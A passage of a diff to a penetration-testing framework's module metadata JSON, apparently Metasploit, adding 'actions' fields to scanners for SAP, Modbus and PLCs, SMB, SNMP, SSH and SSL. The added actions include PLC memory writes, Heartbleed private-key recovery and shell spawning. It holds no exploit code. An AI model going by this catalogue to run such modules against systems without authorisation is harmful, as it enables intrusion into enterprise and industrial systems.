"needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_listconfigfiles": { "name": "SAP Management Console List Config Files", @@ -46449,7 +50884,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_listlogfiles": { "name": "SAP Management Console List Logfiles", @@ -46497,7 +50935,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_startprofile": { "name": "SAP Management Console getStartProfile", @@ -46545,7 +50986,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_version": { "name": "SAP Management Console Version Detection", @@ -46593,7 +51037,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_router_info_request": { "name": "SAPRouter Admin Request", @@ -46634,7 +51081,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_router_portscanner": { "name": "SAPRouter Port Scanner", @@ -46677,7 +51127,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_service_discovery": { "name": "SAP Service Discovery", @@ -46715,7 +51168,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_smb_relay": { "name": "SAP SMB Relay Abuse", @@ -46764,7 +51220,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_bapi_user_create1": { "name": "SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation", @@ -46812,7 +51271,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_brute_login": { "name": "SAP SOAP Service RFC_PING Login Brute Forcer", @@ -46860,7 +51322,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection", @@ -46908,7 +51373,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection", @@ -46956,7 +51424,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_eps_get_directory_listing": { "name": "SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure", @@ -47003,7 +51474,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_pfl_check_os_file_existence": { "name": "SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check", @@ -47053,7 +51527,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_ping": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery", @@ -47101,7 +51578,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_read_table": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data", @@ -47149,7 +51629,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_rzl_read_dir": { "name": "SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing", @@ -47198,7 +51681,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_susr_rfc_user_interface": { "name": "SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation", @@ -47246,7 +51732,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_sxpg_call_system_exec": { "name": "SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution", @@ -47294,7 +51783,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_sxpg_command_exec": { "name": "SAP SOAP RFC SXPG_COMMAND_EXECUTE", @@ -47342,7 +51834,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_rfc_system_info": { "name": "SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering", @@ -47392,7 +51887,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_soap_th_saprel_disclosure": { "name": "SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure", @@ -47440,7 +51938,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_web_gui_brute_login": { "name": "SAP Web GUI Login Brute Forcer", @@ -47487,7 +51988,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/bacnet_l3": { "name": "BACnet Scanner", @@ -47534,7 +52038,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/digi_addp_reboot": { "name": "Digi ADDP Remote Reboot Initiator", @@ -47573,7 +52080,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/digi_addp_version": { "name": "Digi ADDP Information Discovery", @@ -47612,7 +52122,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/digi_realport_serialport_scan": { "name": "Digi RealPort Serial Server Port Scanner", @@ -47651,7 +52164,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/digi_realport_version": { "name": "Digi RealPort Serial Server Version", @@ -47690,7 +52206,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/indusoft_ntwebserver_fileaccess": { "name": "Indusoft WebStudio NTWebServer Remote File Access", @@ -47741,7 +52260,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/koyo_login": { "name": "Koyo DirectLogic PLC Password Brute Force Utility", @@ -47780,7 +52302,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/modbus_banner_grabbing": { "name": "Modbus Banner Grabbing", @@ -47830,7 +52355,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/modbus_findunitid": { "name": "Modbus Unit ID and Station ID Enumerator", @@ -47869,7 +52397,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/modbusclient": { "name": "Modbus Client Utility", @@ -47911,7 +52442,45 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "READ_COILS", + "description": "Read bits from several coils" + }, + { + "name": "READ_DISCRETE_INPUTS", + "description": "Read bits from several DISCRETE INPUTS" + }, + { + "name": "READ_HOLDING_REGISTERS", + "description": "Read words from several HOLDING registers" + }, + { + "name": "READ_ID", + "description": "Read device id" + }, + { + "name": "READ_INPUT_REGISTERS", + "description": "Read words from several INPUT registers" + }, + { + "name": "WRITE_COIL", + "description": "Write one bit to a coil" + }, + { + "name": "WRITE_COILS", + "description": "Write bits to several coils" + }, + { + "name": "WRITE_REGISTER", + "description": "Write one word to a register" + }, + { + "name": "WRITE_REGISTERS", + "description": "Write words to several registers" + } + ] }, "auxiliary_scanner/scada/modbusdetect": { "name": "Modbus Version Scanner", @@ -47950,7 +52519,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/moxa_discover": { "name": "Moxa UDP Device Discovery", @@ -47990,7 +52562,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/pcomclient": { "name": "Unitronics PCOM Client", @@ -48028,7 +52603,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "READ", + "description": "Read values from PLC memory" + }, + { + "name": "WRITE", + "description": "Write values to PLC memory" + } + ] }, "auxiliary_scanner/scada/profinet_siemens": { "name": "Siemens Profinet Scanner", @@ -48067,7 +52652,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/scada/sielco_winlog_fileaccess": { "name": "Sielco Sistemi Winlog Remote File Access", @@ -48110,7 +52698,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sip/enumerator": { "name": "SIP Username Enumerator (UDP)", @@ -48148,7 +52739,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sip/enumerator_tcp": { "name": "SIP Username Enumerator (TCP)", @@ -48186,7 +52780,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sip/options": { "name": "SIP Endpoint Scanner (UDP)", @@ -48224,7 +52821,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sip/options_tcp": { "name": "SIP Endpoint Scanner (TCP)", @@ -48262,7 +52862,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sip/sipdroid_ext_enum": { "name": "SIPDroid Extension Grabber", @@ -48301,7 +52904,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/impacket/dcomexec": { "name": "DCOM Exec", @@ -48346,7 +52952,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/impacket/secretsdump": { "name": "DCOM Exec", @@ -48399,7 +53008,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/impacket/wmiexec": { "name": "WMI Exec", @@ -48441,7 +53053,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/pipe_auditor": { "name": "SMB Session Pipe Auditor", @@ -48481,7 +53096,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/pipe_dcerpc_auditor": { "name": "SMB Session Pipe DCERPC Auditor", @@ -48521,7 +53139,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/psexec_loggedin_users": { "name": "Microsoft Windows Authenticated Logged In Users Enumeration", @@ -48564,7 +53185,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_enum_gpp": { "name": "SMB Group Policy Preference Saved Passwords Enumeration", @@ -48609,7 +53233,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_enumshares": { "name": "SMB Share Enumeration", @@ -48654,7 +53281,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_enumusers": { "name": "SMB User Enumeration (SAM EnumUsers)", @@ -48694,7 +53324,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_enumusers_domain": { "name": "SMB Domain User Enumeration", @@ -48735,7 +53368,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_login": { "name": "SMB Login Check Scanner", @@ -48768,7 +53404,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2023-09-20 13:52:06 +0000", + "mod_time": "2023-11-14 18:20:14 +0000", "path": "/modules/auxiliary/scanner/smb/smb_login.rb", "is_install_path": true, "ref_name": "scanner/smb/smb_login", @@ -48778,7 +53414,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_lookupsid": { "name": "SMB SID User Enumeration (LookupSid)", @@ -48818,7 +53457,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DOMAIN", + "description": "Enumerate domain accounts" + }, + { + "name": "LOCAL", + "description": "Enumerate local accounts" + } + ] }, "auxiliary_scanner/smb/smb_ms17_010": { "name": "MS17-010 SMB RCE Detection", @@ -48872,7 +53521,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_uninit_cred": { "name": "Samba _netr_ServerPasswordSet Uninitialized Credential State", @@ -48918,7 +53570,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smb/smb_version": { "name": "SMB Version Detection", @@ -48960,7 +53615,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smtp/smtp_enum": { "name": "SMTP User Enumeration Utility", @@ -49007,7 +53665,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smtp/smtp_ntlm_domain": { "name": "SMTP NTLM Domain Extraction", @@ -49051,7 +53712,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smtp/smtp_relay": { "name": "SMTP Open Relay Detection", @@ -49097,7 +53761,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/smtp/smtp_version": { "name": "SMTP Banner Grabber", @@ -49141,7 +53808,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/aix_version": { "name": "AIX SNMP Scanner Auxiliary Module", @@ -49180,7 +53850,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/arris_dg950": { "name": "Arris DG950A Cable Modem Wifi Enumeration", @@ -49219,7 +53892,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/brocade_enumhash": { "name": "Brocade Password Hash Enumeration", @@ -49257,7 +53933,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/cisco_config_tftp": { "name": "Cisco IOS SNMP Configuration Grabber (TFTP)", @@ -49296,7 +53975,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/cisco_upload_file": { "name": "Cisco IOS SNMP File Upload (TFTP)", @@ -49335,7 +54017,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Override_Config", + "description": "Override the running config" + }, + { + "name": "Upload_File", + "description": "Upload the file" + } + ] }, "auxiliary_scanner/snmp/cnpilot_r_snmp_loot": { "name": "Cambium cnPilot r200/r201 SNMP Enumeration", @@ -49374,7 +54066,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/epmp1000_snmp_loot": { "name": "Cambium ePMP 1000 SNMP Enumeration", @@ -49414,7 +54109,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/netopia_enum": { "name": "Netopia 3347 Cable Modem Wifi Enumeration", @@ -49452,7 +54150,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/sbg6580_enum": { "name": "ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module", @@ -49492,7 +54193,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_enum": { "name": "SNMP Enumeration Module", @@ -49510,7 +54214,10 @@ "references": [ "URL-https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol", "URL-https://net-snmp.sourceforge.io/docs/man/snmpwalk.html", - "URL-http://www.nothink.org/codes/snmpcheck/index.php" + "URL-http://www.nothink.org/codes/snmpcheck/index.php", + "CVE-1999-0508", + "CVE-1999-0517", + "CVE-1999-0516" ], "platform": "", "arch": "", @@ -49522,7 +54229,7 @@ ], "targets": null, - "mod_time": "2022-11-01 14:22:49 +0000", + "mod_time": "2023-12-06 16:52:10 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb", "is_install_path": true, "ref_name": "scanner/snmp/snmp_enum", @@ -49532,7 +54239,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_enum_hp_laserjet": { "name": "HP LaserJet Printer SNMP Enumeration", @@ -49574,7 +54284,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_enumshares": { "name": "SNMP Windows SMB Share Enumeration", @@ -49612,7 +54325,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_enumusers": { "name": "SNMP Windows Username Enumeration", @@ -49650,7 +54366,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_login": { "name": "SNMP Community Login Scanner", @@ -49666,7 +54385,9 @@ ], "description": "This module logs in to SNMP devices using common community names.", "references": [ - "CVE-1999-0508" + "CVE-1999-0508", + "CVE-1999-0517", + "CVE-1999-0516" ], "platform": "", "arch": "", @@ -49678,7 +54399,7 @@ ], "targets": null, - "mod_time": "2019-06-27 17:06:32 +0000", + "mod_time": "2023-12-06 16:52:10 +0000", "path": "/modules/auxiliary/scanner/snmp/snmp_login.rb", "is_install_path": true, "ref_name": "scanner/snmp/snmp_login", @@ -49688,7 +54409,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/snmp_set": { "name": "SNMP Set Module", @@ -49728,7 +54452,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/ubee_ddw3611": { "name": "Ubee DDW3611b Cable Modem Wifi Enumeration", @@ -49766,7 +54493,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/snmp/xerox_workcentre_enumusers": { "name": "Xerox WorkCentre User Enumeration (SNMP)", @@ -49804,7 +54534,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/apache_karaf_command_execution": { "name": "Apache Karaf Default Credentials Command Execution", @@ -49842,7 +54575,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/cerberus_sftp_enumusers": { "name": "Cerberus FTP Server SFTP Username Enumeration", @@ -49882,7 +54618,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/detect_kippo": { "name": "Kippo SSH Honeypot Detector", @@ -49921,7 +54660,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/eaton_xpert_backdoor": { "name": "Eaton Xpert Meter SSH Private Key Exposure Scanner", @@ -49962,7 +54704,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/fortinet_backdoor": { "name": "Fortinet SSH Backdoor Scanner", @@ -50005,7 +54750,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/juniper_backdoor": { "name": "Juniper SSH Backdoor Scanner", @@ -50046,7 +54794,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/karaf_login": { "name": "Apache Karaf Login Utility", @@ -50088,7 +54839,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/libssh_auth_bypass": { "name": "libssh Authentication Bypass Scanner", @@ -50128,7 +54882,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Execute", + "description": "Execute a command" + }, + { + "name": "Shell", + "description": "Spawn a shell" + } + ] }, "auxiliary_scanner/ssh/ssh_enum_git_keys": { "name": "Test SSH Github Access", @@ -50166,7 +54930,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/ssh_enumusers": { "name": "SSH Username Enumeration", @@ -50225,7 +54992,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Malformed Packet", + "description": "Use a malformed packet" + }, + { + "name": "Timing Attack", + "description": "Use a timing attack" + } + ] }, "auxiliary_scanner/ssh/ssh_identify_pubkeys": { "name": "SSH Public Key Acceptance Scanner", @@ -50255,7 +55032,7 @@ ], "targets": null, - "mod_time": "2018-08-15 14:59:52 +0000", + "mod_time": "2023-12-13 17:00:19 +0000", "path": "/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb", "is_install_path": true, "ref_name": "scanner/ssh/ssh_identify_pubkeys", @@ -50265,7 +55042,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/ssh_login": { "name": "SSH Login Check Scanner", @@ -50303,7 +55083,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/ssh_login_pubkey": { "name": "SSH Public Key Login Scanner", @@ -50342,7 +55125,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssh/ssh_version": { "name": "SSH Version Scanner", @@ -50380,7 +55166,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssl/bleichenbacher_oracle": { "name": "Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5", @@ -50438,7 +55227,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssl/openssl_ccs": { "name": "OpenSSL Server-Side ChangeCipherSpec Injection Scanner", @@ -50482,7 +55274,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ssl/openssl_heartbleed": { "name": "OpenSSL Heartbeat (Heartbleed) Information Leak", @@ -50542,7 +55337,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DUMP", + "description": "Dump memory contents to loot" + }, + { + "name": "KEYS", + "description": "Recover private keys from memory" + }, + { + "name": "SCAN", + "description": "Check hosts for vulnerability" + } + ] }, "auxiliary_scanner/ssl/ssl_version": { "name": "SSL/TLS Version Detection", @@ -50603,7 +55412,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/steam/server_info": { "name": "Gather Steam Server Information", @@ -50641,7 +55453,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telephony/wardial": { "name": "Wardialer", @@ -50679,7 +55494,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/brocade_enable_login": { "name": "Brocade Enable Login Check Scanner", @@ -50717,7 +55535,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/lantronix_telnet_password": { "name": "Lantronix Telnet Password Recovery", @@ -50755,7 +55576,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/lantronix_telnet_version": { "name": "Lantronix Telnet Service Banner Detection", @@ -50794,7 +55618,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/satel_cmd_exec": { "name": "Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability", @@ -50834,7 +55661,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/telnet_encrypt_overflow": { "name": "Telnet Service Encryption Key ID Overflow Detection", @@ -50876,7 +55706,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/telnet_login": { "name": "Telnet Login Check Scanner", @@ -50914,7 +55747,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/telnet_ruggedcom": { "name": "RuggedCom Telnet Password Generator", @@ -50955,7 +55791,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/telnet/telnet_version": { "name": "Telnet Service Banner Detection", @@ -50993,7 +55832,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/teradata/teradata_odbc_login": { "name": "Teradata ODBC Login Scanner Module", @@ -51035,7 +55877,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/tftp/ipswitch_whatsupgold_tftp": { "name": "IpSwitch WhatsUp Gold TFTP Directory Traversal", @@ -51079,7 +55924,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/tftp/netdecision_tftp": { "name": "NetDecision 4.2 TFTP Directory Traversal", @@ -51120,7 +55968,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/tftp/tftpbrute": { "name": "TFTP Brute Forcer", @@ -51158,7 +56009,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ubiquiti/ubiquiti_discover": { "name": "Ubiquiti Discovery Scanner", @@ -51198,7 +56052,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/udp/udp_amplification": { "name": "UDP Amplification Scanner", @@ -51237,7 +56094,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/upnp/ssdp_amp": { "name": "SSDP ssdp:all M-SEARCH Amplification Scanner", @@ -51276,7 +56136,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + 